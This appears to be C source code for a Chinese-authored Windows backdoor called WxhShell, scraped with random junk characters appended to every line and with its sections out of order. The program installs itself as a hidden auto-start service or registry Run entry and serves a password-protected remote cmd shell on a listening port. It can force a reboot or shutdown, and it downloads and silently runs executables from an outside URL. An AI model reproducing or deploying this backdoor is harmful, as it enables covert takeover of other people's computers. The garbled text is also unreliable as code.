    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m`A% p  
    else { rZ03x\2  
    closesocket(wsh); Y] g?2N=E  
    ExitThread(0); XNH4vG |  
    } AC- )BM';  
    break; `BXS)xj  
    } dJk9@u  
  // 获取shell  %Y nmuZ  
  case 's': { $lwz-^1t.  
    CmdShell(wsh); oF&l-DHp  
    closesocket(wsh); ^QX bJJ  
    ExitThread(0); uaPx"  
    break; Y3U9:VB  
  } mTDVlw0dh  
  // 退出 KOSM]c\H  
  case 'x': { {8RFK4! V@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !nf-}z e{  
    CloseIt(wsh); 45 >XKr.%  
    break; E8[T   
    } Lxl_"k G  
  // 离开 }j {!-&  
  case 'q': { @mQ:7-,~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I/J7rkf  
    closesocket(wsh); r7m D{0s*  
    WSACleanup(); ^"8wUsP  
    exit(1); f>$``.O  
    break; s][24)99  
        } $&I 'o  
  } R W/z1  
  } va)%et0!  
}:Z9Vc ZP`  
  // 提示信息 W8WXY_yJt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $% k1fa C  
} aptY6lGv-|  
  } #/S {6c  
uZjC c M  
  return; d9^E.8p$  
} 5z$,6T  
vw>jJ  
// shell模块句柄 HfNDD| Zz  
int CmdShell(SOCKET sock) !0VfbY9C  
{ B2=\2<  
STARTUPINFO si; )u:Q) %$t  
ZeroMemory(&si,sizeof(si)); ,L> ar)B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kma?v B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; si4-3eC  
PROCESS_INFORMATION ProcessInfo; Pt,ebL~  
char cmdline[]="cmd"; "\%On >  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7E$&2U^Js  
  return 0; L:nXWz  
} *~XA'Vw!  
$^/0<i$   
// 自身启动模式 $rB3m~c|  
int StartFromService(void) V<Z'(UI  
{ )$GIN/i  
typedef struct n||A" @b\  
{ eU+ {*YJg  
  DWORD ExitStatus; IIFMYl gF  
  DWORD PebBaseAddress; fK}h"iH+K  
  DWORD AffinityMask; zt24qTKL  
  DWORD BasePriority; ;!>Wz9  
  ULONG UniqueProcessId; Z3KO90O!8  
  ULONG InheritedFromUniqueProcessId; p&p.Q^"ok  
}   PROCESS_BASIC_INFORMATION; R6;Phdh<>  
Pn.bVV:  
PROCNTQSIP NtQueryInformationProcess; Ol /\t  
-;(Q1)&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eP1nUy=T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }Rvm &?~O  
gbBy/_b  
  HANDLE             hProcess; |H}sYp  
  PROCESS_BASIC_INFORMATION pbi; V)M1YZV{  
IV16d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &$FvWFRh#  
  if(NULL == hInst ) return 0; #EO1`9f48x  
b}!3;:iD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jF ^5}5U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 83~ i:+;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UM%o\BiO  
klOp ^w  
  if (!NtQueryInformationProcess) return 0; j|fd-<ng  
AnsjmR:Jv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c{#yx_)V&  
  if(!hProcess) return 0; km5~Gc}  
f'(l&/4z{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8^^[XbH  
hn)a@  
  CloseHandle(hProcess); m4w ') r~  
F!!N9VIC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8OhDjWVJ  
if(hProcess==NULL) return 0; W`rNBfG>  
[s1pM1x  
HMODULE hMod; 8iQ[9  
char procName[255]; ^n.WZUk  
unsigned long cbNeeded; faXx4A2"  
5~ 'Ie<Y_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gY AF'?  
E:E4ulak  
  CloseHandle(hProcess); {i~8 :  
HjNxqaljt  
if(strstr(procName,"services")) return 1; // 以服务启动 ,1{Ep`  
.0HZNWRtb  
  return 0; // 注册表启动 F51.N{'  
} `\Ku]6J]5  
U!5)5c}G  
// 主模块 2GmpCy`L"  
int StartWxhshell(LPSTR lpCmdLine) #_  C  
{ `D5HC  
  SOCKET wsl; d5I f"8`@  
BOOL val=TRUE; 9a$56GnW1  
  int port=0; OK|qv[  
  struct sockaddr_in door; l7[7_iB&E  
U!w1AY|  
  if(wscfg.ws_autoins) Install(); d^ ZMS~\*  
YA(@5CZ  
port=atoi(lpCmdLine); "I- w  
$3+PbYY  
if(port<=0) port=wscfg.ws_port; Br>Fpe$q4  
>cmE t  
  WSADATA data; "%2xR[NF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [f~N_G6I^o  
]1-z! B4K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M.}7pJ7f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uZKP"Oy  
  door.sin_family = AF_INET; ]LPQYL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vm23U^VJ  
  door.sin_port = htons(port); s=I'e/"7  
Y]aW)u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _#$9 y1bd  
closesocket(wsl); eEc4bVQa  
return 1; :B *}^g  
} 1{"llD  
}S_oH9A  
  if(listen(wsl,2) == INVALID_SOCKET) { 5wtTP ;P  
closesocket(wsl); 1m<RwI3s  
return 1; }]P4-KqI  
} |w}w.%  
  Wxhshell(wsl); X+8B!F  
  WSACleanup(); #:fQ.WWO  
e59dVFug.U  
return 0; jD,Baz<  
Q'apG)0I  
} )w~Fo,   
_,h@:Xij  
// 以NT服务方式启动 ZsP2>%"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T>>YNaUL  
{ z;u> Yz+3  
DWORD   status = 0; aiCFH_H4;L  
  DWORD   specificError = 0xfffffff; ,0$)yZ3*3,  
OIb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }7<5hn E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4NVV5_K a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9W*+SlH@ !  
  serviceStatus.dwWin32ExitCode     = 0; qf'm=efRyu  
  serviceStatus.dwServiceSpecificExitCode = 0; { Ng oYl  
  serviceStatus.dwCheckPoint       = 0; @pV5}N[]  
  serviceStatus.dwWaitHint       = 0; R_P}~l  
<{(/E0~V/<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pI`?(5iK6|  
  if (hServiceStatusHandle==0) return; !SOrCMHx  
wl=61 Mb  
status = GetLastError(); M s9E@E  
  if (status!=NO_ERROR) UsVMoX^  
{ %rQuBi# 1f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l kIn%=Z  
    serviceStatus.dwCheckPoint       = 0; xk~IN%\  
    serviceStatus.dwWaitHint       = 0; Upl6:xYrG  
    serviceStatus.dwWin32ExitCode     = status; T4e\0.If  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6+rlXmd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !#ri5{od  
    return; |C \}P  
  } tU wRE|_  
Huw\&E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; co4h*?q  
  serviceStatus.dwCheckPoint       = 0; 7"X>?@  
  serviceStatus.dwWaitHint       = 0; [t\B6XxT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SM0M%  
} dth&?/MERL  
6Sj6i^"  
// 处理NT服务事件,比如:启动、停止 qr\ !*\9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oj,lz?  
{ MWk:sBCqr  
switch(fdwControl) W" "*ASi  
{ tL SN`6[:  
case SERVICE_CONTROL_STOP: TjK{9A  
  serviceStatus.dwWin32ExitCode = 0; fBtm%f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l7(!`NPbC  
  serviceStatus.dwCheckPoint   = 0; Z!xVgM{  
  serviceStatus.dwWaitHint     = 0; $$Vt7"F  
  { Wm'QP4`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zboF 1v`  
  } aFiCZHohw  
  return; gQSNU_o Z  
case SERVICE_CONTROL_PAUSE: U7mozHS,:9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Sx gYjIa-  
  break; 9ILIEm:  
case SERVICE_CONTROL_CONTINUE: /NT[ETMk+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g3@Rl2yQJ  
  break; "i.r@<)S  
case SERVICE_CONTROL_INTERROGATE: h 6G/O`:  
  break; HJ?+A-n/  
}; I0AJY )R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pZZgIw}aS  
} ub0zJTFJ#  
*x~xWg9^  
// 标准应用程序主函数 Y/TlE?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hs"(@eDV&J  
{ 1 "TVRb  
1PaUI#X"2F  
// 获取操作系统版本 :H6FPV78  
OsIsNt=GetOsVer(); a~h:qpg c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T&Xl'=/  
1:C:?ZC#c  
  // 从命令行安装 4Ph0:^i_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ukgAI<O%  
m4K* <  
  // 下载执行文件 U8#xgz@  
if(wscfg.ws_downexe) { A % Q!^d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ] U@o0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2 gq$C"  
} v1U?&C  
djQv[Vc {  
if(!OsIsNt) { )'4P.>!!aQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 %Kh4m7  
HideProc(); {n3EGSP#  
StartWxhshell(lpCmdLine); <mA'X V,  
} I-D^>\k+  
else t22;87&|  
  if(StartFromService()) A*h{Lsx;  
  // 以服务方式启动 3FSqd<t;D  
  StartServiceCtrlDispatcher(DispatchTable); MfF~8  
else lLq<xf  
  // 普通方式启动 6\7nc FO3  
  StartWxhshell(lpCmdLine); F~#zxwd  
|!|^ v  
return 0; mM.*b@d-  
} DF]9@{  
A$0H .F>  
}K1 0Po'  
hD,:w%M  
=========================================== MiT}L  
Kemw^48ts  
zIC;7 5#  
qL6c`(0  
 ~fl@ 2  
+[@z(N-h  
" 5 hj  
CQ7{1,?2  
#include <stdio.h> <tpmUA[]  
#include <string.h> M j-vgn&/  
#include <windows.h> ?SQE5Z  
#include <winsock2.h> #?MY&hdU9  
#include <winsvc.h> q>f<u&  
#include <urlmon.h> HD,xY4q&N  
pA.J@,>`}  
#pragma comment (lib, "Ws2_32.lib") mE O \r|A  
#pragma comment (lib, "urlmon.lib") 2n><RZ/9  
~"pKe~h   
#define MAX_USER   100 // 最大客户端连接数 m p<1yY]  
#define BUF_SOCK   200 // sock buffer B!{d-gb  
#define KEY_BUFF   255 // 输入 buffer d\MLOXnLq;  
g,`A[z2  
#define REBOOT     0   // 重启 2Y}?P+:%>  
#define SHUTDOWN   1   // 关机 {^CT} \=>  
sb:d>6  
#define DEF_PORT   5000 // 监听端口 :.(;<b<\  
]A FI\$qB\  
#define REG_LEN     16   // 注册表键长度 4p%A8%/q  
#define SVC_LEN     80   // NT服务名长度 )m6M9eC  
V^y^ ;0I}[  
// 从dll定义API -yxOBq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j.a`N2]WE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qjx?ri//  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }nt* [:%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u&G.4QQF  
zX5!vaEv  
// wxhshell配置信息 j R=s#Xz  
struct WSCFG { *"9><lJ-!  
  int ws_port;         // 监听端口 f)]%.>  
  char ws_passstr[REG_LEN]; // 口令 l1ZY1#%j  
  int ws_autoins;       // 安装标记, 1=yes 0=no >+. ( r]  
  char ws_regname[REG_LEN]; // 注册表键名 #T`t79*N  
  char ws_svcname[REG_LEN]; // 服务名 Bwr3jV?S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sGvIXD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 80A.<=(=.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \xg]oKbn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N@B9 @8h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bq/:Nd[y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XC{eX&,2x  
.4. b*5  
}; MO;X>D=  
Qf@I)4'  
// default Wxhshell configuration rt JtK6t  
struct WSCFG wscfg={DEF_PORT, nRd)++  
    "xuhuanlingzhe", </uO e.l>Q  
    1, :Hxv6  
    "Wxhshell", iy""(c  
    "Wxhshell", keRE==(D  
            "WxhShell Service", ~>9_(L  
    "Wrsky Windows CmdShell Service", j }b\Z9)!  
    "Please Input Your Password: ", O25lLNmO  
  1, d1[ZHio2c?  
  "http://www.wrsky.com/wxhshell.exe", hsu{eyp  
  "Wxhshell.exe" 2Sm }On  
    }; h6dPO"  
TLehdZ>^  
// 消息定义模块 s/089jlc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :[;hu}!&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6(P M'@i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `y+tf?QN  
char *msg_ws_ext="\n\rExit."; .s$z/Jv  
char *msg_ws_end="\n\rQuit."; e<r,&U$  
char *msg_ws_boot="\n\rReboot...";  Q1@A2+ c  
char *msg_ws_poff="\n\rShutdown..."; vq34/c^  
char *msg_ws_down="\n\rSave to "; yA47"R  
I%urz!CNE*  
char *msg_ws_err="\n\rErr!"; "Ks,kSEzu  
char *msg_ws_ok="\n\rOK!"; s&'QN=A  
<FZ@Q[RP  
char ExeFile[MAX_PATH]; cX3lt5  
int nUser = 0; },|M9 I0  
HANDLE handles[MAX_USER]; ;;&}5jcV  
int OsIsNt; tBpC: SG  
\TU3rk&X  
SERVICE_STATUS       serviceStatus; tDUwy^j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ID/ F  
p,"g+ MwP  
// 函数声明 R :B^  
int Install(void); .bio7c6  
int Uninstall(void); Yup3^E w&  
int DownloadFile(char *sURL, SOCKET wsh); B7imV@<  
int Boot(int flag); Dd` Mv$*d8  
void HideProc(void); v$^Z6>vVI  
int GetOsVer(void); }f2r!7:x  
int Wxhshell(SOCKET wsl); 5atYOep  
void TalkWithClient(void *cs); ~K@'+5Pc  
int CmdShell(SOCKET sock); <tioJG{OT  
int StartFromService(void); "Wx]RN:  
int StartWxhshell(LPSTR lpCmdLine); .ji_nZ4.+  
}V\N16f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <F04GO\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p) +k=b  
fDSv?crv  
// 数据结构和表定义 ++E3]X|  
SERVICE_TABLE_ENTRY DispatchTable[] = ge8/``=  
{ m4*@o?Ow  
{wscfg.ws_svcname, NTServiceMain}, MHa#?Q9  
{NULL, NULL} 3 h<,  
}; ZK)%l~J  
I|Gp$ uq _  
// 自我安装 2PG [7u^  
int Install(void) 7 x<i :x3  
{ sq'Pyz[[  
  char svExeFile[MAX_PATH]; +]Y,q w  
  HKEY key; V dn&c  
  strcpy(svExeFile,ExeFile); 0x!2ihf  
)RcL/n  
// 如果是win9x系统,修改注册表设为自启动 r hfb ftw  
if(!OsIsNt) { $cZUM}@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >]c*'~G&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KI+VXH}Y5{  
  RegCloseKey(key); I"`M@ %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t2"FXTAq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .rf" (lM  
  RegCloseKey(key); 7sXxq4  
  return 0; 12+>5BA  
    } h5K$mA5  
  } .(WQYOMl0  
} oqeSG.1  
else { `ta7Gc/:UY  
&@3H%DP}Ql  
// 如果是NT以上系统,安装为系统服务 ?y!E-&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w[ ~#av9  
if (schSCManager!=0) `Ry]y"K  
{ _(KbiEB{  
  SC_HANDLE schService = CreateService 2rZx Sg  
  ( ZGd!IghL  
  schSCManager, 9rA=pH%<>B  
  wscfg.ws_svcname, u#@Q:tnN_  
  wscfg.ws_svcdisp, <=,6p>Eo[  
  SERVICE_ALL_ACCESS, SZXY/~=h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [#sz WNfU  
  SERVICE_AUTO_START, R`~z0 d.  
  SERVICE_ERROR_NORMAL, ~JH:EB:  
  svExeFile, tq|hPd<C  
  NULL, W='> :H  
  NULL, @n": w2^B  
  NULL, WH \)) y-  
  NULL, Alxx[l\<J  
  NULL +) m_o"hl  
  ); ;I!MLI  
  if (schService!=0) %p 0xM  
  { Dmu/RD5X:  
  CloseServiceHandle(schService); z.I9wQ]X[  
  CloseServiceHandle(schSCManager); 9,"L^W8"k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yiA<,!;4P  
  strcat(svExeFile,wscfg.ws_svcname); Y(cGk#0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9\DQ>V TQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _zwUE  
  RegCloseKey(key); `{xNXH]@  
  return 0; _> *j H'  
    } ~7Tc$ "I  
  } 8M`#pN^  
  CloseServiceHandle(schSCManager); e[#j.|m  
} ok4@N @  
} '^"6+k  
1[vi.  
return 1; [ E ]E  
} jav#f{'  
h^o{@/2  
// 自我卸载 a qc?pqM  
int Uninstall(void) UQI]>#_/v  
{ )6J9J+%bi  
  HKEY key; Z KckAz\#  
y7i*s^ys{  
if(!OsIsNt) { _&b4aW9<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1cD! :[  
  RegDeleteValue(key,wscfg.ws_regname); }-sdov<<  
  RegCloseKey(key); wD]/{ jw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #hsx#x||  
  RegDeleteValue(key,wscfg.ws_regname); /Dj=iBO  
  RegCloseKey(key); fk x \=  
  return 0; 9c6gkt9eB  
  } :d#VE-e  
} vCw e'q`1  
} b8LLr;oQw  
else { j_. 5r&w  
9^G/8<^^>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e F3,2DD C  
if (schSCManager!=0) Gnq?"</  
{ % V8U (z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6 'Worj  
  if (schService!=0) Cy=Hy@C  
  { f V'ZsJ N  
  if(DeleteService(schService)!=0) { bq:(u4 3  
  CloseServiceHandle(schService); PIwFF}<(  
  CloseServiceHandle(schSCManager); Tap.5jHL  
  return 0;  O2%?  
  } T r1?620  
  CloseServiceHandle(schService); `,(,t n_  
  } j4R(B  
  CloseServiceHandle(schSCManager); !*%WuyCgr4  
} ZU%[guf  
} ]33>m|?@  
|* ;B  
return 1; ?I~()]k5  
} tE`u(B,  
70Wggty  
// 从指定url下载文件 r 0iK  
int DownloadFile(char *sURL, SOCKET wsh) W1|0Yd ;P  
{ Dw<bn<e-  
  HRESULT hr; ([m mPyp>L  
char seps[]= "/"; =aBctd:eX`  
char *token; ;CPr]avY  
char *file; mSb#Nn6W  
char myURL[MAX_PATH]; P n>Xbe  
char myFILE[MAX_PATH]; qfMo7e@6*  
iCHOv{p.  
strcpy(myURL,sURL); L"4mL,  
  token=strtok(myURL,seps); P;ci9vk  
  while(token!=NULL) Pu*6"}#~  
  { +oovx2r&  
    file=token; < v@9#c  
  token=strtok(NULL,seps); UVd7 JGR  
  } rp!oO>F  
fj;y}t1E]  
GetCurrentDirectory(MAX_PATH,myFILE); \1fN0e  
strcat(myFILE, "\\"); %B5wH_p  
strcat(myFILE, file); ,>0*@2  
  send(wsh,myFILE,strlen(myFILE),0); _0]S69lp  
send(wsh,"...",3,0); 3 I@}my1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mR?5G: W~R  
  if(hr==S_OK) jw^<IMAG\8  
return 0; !y@NAa0  
else ZK@N5/H(  
return 1; lFV N07hG  
&h^9}>rVjV  
} LH kc7X$  
GS a [ oh  
// 系统电源模块 d(:8M  
int Boot(int flag) XkXHGDEf1  
{ ebUBrxZX  
  HANDLE hToken; ^h ~x)@=  
  TOKEN_PRIVILEGES tkp; di6QVRj1  
S||}nJ0  
  if(OsIsNt) { <b`E_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jY% na HaI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X\@C.H2ttY  
    tkp.PrivilegeCount = 1; s'E2P[:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {f2S/$q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vdx0i&RiL  
if(flag==REBOOT) { %.^_Ps0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jrti cK$  
  return 0; 19Mu61  
} t\{'F7  
else { )4<__|52"1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R`DKu=  
  return 0; YaKeq5%y  
} x7:s]<kE  
  } jV>raCK_  
  else { ,9}h  
if(flag==REBOOT) { w$z}r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TDFkxB>  
  return 0; _wkVwPr  
} i|w81p^o  
else { zr+zhpp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JEahGzO  
  return 0; nrxo &9[@n  
} gQxbi1!;9  
} TZ(cu>  
p?7v$ev_  
return 1; tD(7^GuR  
} e;Ti&o}  
wKZ$iGMbz  
// win9x进程隐藏模块 }XV+gyG=@  
void HideProc(void) ]iN'x?Fo  
{ #A1Z'y0  
D coX+8 7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %k-3?%&8  
  if ( hKernel != NULL ) s+,OxRVw(  
  { Rz bj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~$:|VHl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T>}5:,N~  
    FreeLibrary(hKernel); Szq/hv=Q  
  } AsAT_yv#  
Bg5Wba%NK  
return; { QHVo#  
} ,0*&OXt  
cC=[Saatsf  
// 获取操作系统版本 Ir`eL  
int GetOsVer(void) 10<x.8fSP  
{ lE;Ewg  
  OSVERSIONINFO winfo; 1crnm J!C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -8eoNzut  
  GetVersionEx(&winfo); !c}O5TI|#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iVp,e  
  return 1; 5R'TcWf#W  
  else @.b+av4J  
  return 0; lD^]\;?  
} )PG6gZYW  
t]y D-3'l&  
// 客户端句柄模块  J7=+  
int Wxhshell(SOCKET wsl) -yE/f2PgQ  
{ <j&DK2u=i  
  SOCKET wsh; jhXkSj  
  struct sockaddr_in client; |uqf:V`z:  
  DWORD myID; xC*6vH]?  
'oF%,4 !Y  
  while(nUser<MAX_USER) &u /Nf&A  
{ OTGofd2zf  
  int nSize=sizeof(client); qUjmB sB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $}J5xG,}$  
  if(wsh==INVALID_SOCKET) return 1; i`Q KH  
uJFdbBDSh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w.H%R-Be  
if(handles[nUser]==0) #JgH}|&a$  
  closesocket(wsh); N}pw74=1  
else }`W){]{k O  
  nUser++; rqdE6y+^  
  } ::ajlRZG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 12;8o<~  
-R57@D>j\  
  return 0; \@8+U;d  
} _CW(PsfY  
BybW)+~  
// 关闭 socket Sz^ veh?  
void CloseIt(SOCKET wsh) iVB86XZ`  
{ `8^TTQ  
closesocket(wsh); Pa{%\dsv  
nUser--; .2%zC & ;  
ExitThread(0); pQshUm"_  
} 99:C"`E{  
G]+&!4  
// 客户端请求句柄 .WPV dwV4U  
void TalkWithClient(void *cs) ( M7pT  
{ {$R' WXVs  
|&FkksNAl\  
  SOCKET wsh=(SOCKET)cs; Z&|Kki*  
  char pwd[SVC_LEN]; k Mu8"Az  
  char cmd[KEY_BUFF]; *MJX?  
char chr[1]; 'yL%3h _@  
int i,j;  c|M6 <}  
4:|S` jm  
  while (nUser < MAX_USER) { vH#huZA?7  
f>W -  
if(wscfg.ws_passstr) { QV {}K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N'g>MBdI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cIav&Zko  
  //ZeroMemory(pwd,KEY_BUFF); VO$ iNK  
      i=0; {5F-5YL+>  
  while(i<SVC_LEN) { TMig-y*[  
~nrK>%  
  // 设置超时 MFb9H{LA  
  fd_set FdRead; }UWL-TkEjF  
  struct timeval TimeOut; jg.QRny^  
  FD_ZERO(&FdRead); .Yf:[`Q6g  
  FD_SET(wsh,&FdRead); "J4WzA%i  
  TimeOut.tv_sec=8; G5C I<KRK#  
  TimeOut.tv_usec=0; CbwJd5tk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j!]YNH@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @}@Z8$G^  
s;3={e.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6"~P/\jP  
  pwd=chr[0]; I~ok4L?VB  
  if(chr[0]==0xd || chr[0]==0xa) { ~} ,=OF-b  
  pwd=0; UazP6^{L  
  break; 1IZ3=6  
  } XDFx.)t  
  i++; fp+gyTnd3  
    } V+VkY3  
paKSr|O  
  // 如果是非法用户,关闭 socket }Q=!Y>Tc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {&\jW!&n  
} -( f)6a+H  
OoA|8!CFa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vTJ}8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kic/*v\6@  
:TJv=T'p'  
while(1) { 'H \9:7  
U$_xUG  
  ZeroMemory(cmd,KEY_BUFF); |Z=^`J  
+\F'iAs@  
      // 自动支持客户端 telnet标准   ,u`B<heoLU  
  j=0; PfC!lI BU  
  while(j<KEY_BUFF) { %F-ZN^R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m]5Cq6  
  cmd[j]=chr[0]; cp#JBH O  
  if(chr[0]==0xa || chr[0]==0xd) { ?TU}~}  
  cmd[j]=0; o]; [R  
  break; /.Ww6a~  
  } <8d^^0  
  j++; aVK3?y2  
    } W9D86]3Y  
QA5Qwe L  
  // 下载文件 (`sH3&Kl  
  if(strstr(cmd,"http://")) { 4KH45|; 3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?<(m 5Al7  
  if(DownloadFile(cmd,wsh)) v" OY 1<8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @8;W\L$~1  
  else ENGg ~D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pO ml8SQf  
  } |aT| l^2R@  
  else { ;S57w1PbVA  
k;w- E  
    switch(cmd[0]) { Cb9;QzBVA#  
  }T%}wdj  
  // 帮助 lJE93rXU  
  case '?': { N1|$$9G+  
